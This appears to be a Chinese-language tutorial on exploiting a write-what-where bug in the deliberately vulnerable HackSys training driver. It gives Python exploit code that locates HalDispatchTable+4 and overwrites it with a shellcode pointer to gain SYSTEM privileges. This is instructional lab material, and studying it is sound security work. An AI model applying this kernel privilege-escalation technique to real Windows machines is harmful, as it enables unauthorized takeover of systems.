Windows内核漏洞利用教程Part3:任意内存写入(write-what-where)

Author Avatar
leo00000 7月 04, 2018

Windows内核漏洞系列教程。

前言

Part2中我们介绍了内核栈溢出,这一篇文章我们将关注另一个类型的漏洞,任意内存写入, 也就是write-what-where漏洞(在一些书上也叫做write-anything-anywhere)。这种类型漏洞利用的基本思路是:将shellcode指针写入内核分发表(Kernel Dispatch Table)中。

再一次感谢hacksystem提供的驱动模块和FuzzySec提供的分析报告。

分析

阅读源码ArbitraryOverwrite.c分析这个漏洞:

#ifdef SECURE
        // Secure Note: This is secure because the developer is properly validating if address
        // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()
        // routine before performing the write operation
        ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
        ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));

        *(Where) = *(What);
#else
        DbgPrint("[+] Triggering Arbitrary Overwrite\n");

        // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
        // because the developer is writing the value pointed by 'What' to memory location
        // pointed by 'Where' without properly validating if the values pointed by 'Where'
        // and 'What' resides in User mode
        *(Where) = *(What);
#endif

ProbeForRead()函数用来检测所指定的地址是否在用户空间并且是否对齐,如果不在用户态将会抛出STATUS_ACCESS_VIOLATION异常,如果没有对齐将会抛出STATUS_DATATYPE_MISALIGNMENT异常。
在不安全的代码中没有对Where和What两个指针做内核态安全检测,导致用户任意内存写入漏洞。

为了触发这个漏洞我们先找到IOCTL编号,在上一篇文章中,我们通过分析IrpDeviceCtlHandle,这篇文章中我们直接在HackSysExtremeVulnerableDriver.h文件中查看所有的IOCTL编号。

#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)

通过CTL_CODE宏创建了不同系统的IOCTL,我们可以用下面的方法计算出相应的IOCTL的值,结果是0x22200B。

hex((0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003)

接下来,使用IDA分析TriggerAbitraryOverwrite函数,可以发现用户传给内核的结构体有8个字节,前4个字节是写入内容的指针(what),后四个字节是写入地址的指针(where)。

漏洞利用

首先我们使用上一篇文章中的脚本框架,修改IOCTL,观察运行结果。

# python2.7

import ctypes, sys, struct
from ctypes import *
from subprocess import *

def main():
    kernel32 = windll.kernel32
    psapi = windll.Psapi
    ntdll = windll.ntdll
    hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle"
        error = kernel32.GetLastError()    # not work py3.4, error=3
        print(error)
        sys.exit(-1)

    buf = "A"*100
    bufLength = len(buf)

    kernel32.DeviceIoControl(hevDevice, 0x22200B, buf, bufLength, None, 0, byref(c_ulong()), None)

if __name__ == "__main__":
    main()

使用ed Kd_DEFAULT_Mask 8 命令打开DbgPrint调试信息。

能够正常运行,现在我们开始构建我们的漏洞利用。

第一步是找到一些在内核空间中可以被覆盖的安全可靠地地址,不会导致系统崩溃。很幸运,在内核中,有一个很少被调用到的函数NtQueryIntervalProfile,它调用了另一个函数KeQueryIntervalProfile,而这个函数又调用了HalDispatchTable+4。
如果我们用shellcode地址覆盖了HalDispatchTable+4,然后调用NtQueryIntervalProfile,就能进入shellcode,而且我们能在用户态得到HalDispatchTable的地址。总的执行流程如下:

  1. 在用户态,加载内核可执行文件ntkrnlpa.exe,得到HalDispatchTable的偏移,然后据此推断出它在内核中的地址;
  2. 获取shellcode地址;
  3. 利用ntdll.dll获取系统调用NtQueryIntervalProfile的地址;
  4. 利用shellcode的地址去覆盖HalDispatchTable+4的指针;
  5. 通过调用NtQueryIntervalProfile去加载我们的shellcode。

通过反汇编NtQueryIntervalProfile函数,分析出指向HalDispatchTable+4的执行流程。

接下来进入KeQueryIntervalProfile函数

这就是我们要覆盖的指针,让它指向我们的shellcode。

很简单,我们来一步步构造我们的漏洞利用代码。首先,我们要枚举所有的设备驱动地址,这里可以使用EnumDeviceDrivers函数。然后使用GetDeviceDriverBaseNameA函数获取驱动的名称。之后找到名为ntkrnlpa.exe驱动的地址。

enum_base = (c_ulong * 1024)()
enum = psapi.EnumDeviceDrivers(byref(enum_base), c_int(1024), byref(c_ulong()))
if not enum:
    print "Failed to enumerate!!!"
    sys.exit(-1)
for base_address in enum_base:
    if not base_address:
            continue
    base_name = c_char_p('\x00' * 1024)
    driver_base_name = psapi.GetDeviceDriverBaseNameA(base_address, base_name, 48)
    if not driver_base_name:
        print "Unable to get driver base name!!!"
        sys.exit(-1)
    if base_name.value.lower() == 'ntkrnl' or 'ntkrnl' in base_name.value.lower():
        base_name = base_name.value
        print "[+] Loaded Kernel: {0}".format(base_name)
        print "[+] Base Address of Loaded Kernel: {0}".format(hex(base_address))
        break

得到ntkrnlpa.exe驱动名称和地址之后,我们计算出HalDispatchTable的地址,这里我们使用LoadLibraryExA函数加载ntkrnlpa.exe到内存,然后使用GetProcAddress函数获得HalDispatchTable的地址。

kernel_handle = kernel32.LoadLibraryExA(base_name, None, 0x00000001)
if not kernel_handle:
    print "Unable to get Kernel Handle"
    sys.exit(-1)

hal_address = kernel32.GetProcAddress(kernel_handle, 'HalDispatchTable')

# Subtracting ntkrnlpa base in user space
hal_address -= kernel_handle

# To find the HalDispatchTable address in kernel space, add the base address of ntkrnpa in kernel space
hal_address += base_address

# Just add 0x4 to HAL address for HalDispatchTable+0x4
hal4 = hal_address + 0x4

print "[+] HalDispatchTable    : {0}".format(hex(hal_address))
print "[+] HalDispatchTable+0x4: {0}".format(hex(hal4))

最后使用shellcode地址覆盖掉HalDispatchTable+4。

class WriteWhatWhere(Structure):
    _fields_ = [
        ("What", c_void_p),
        ("Where", c_void_p)
    ]

#What-Where
www = WriteWhatWhere()
www.What = shellcode_final_address
www.Where = hal4
www_pointer = pointer(www)

print "[+] What : {0}".format(hex(www.What))
print "[+] Where: {0}".format(hex(www.Where))

使用上一篇文章中获取token的方法,得到最终的EXP
最终我们得到authority\system权限的shell:

小结

  • 在windows中LoadLibrary和GetProcAddress函数用来查找地址非常实用。
  • 在任意内存写入漏洞利用中,思路比较重要,能不能找到一个稳定的调用地址非常关键。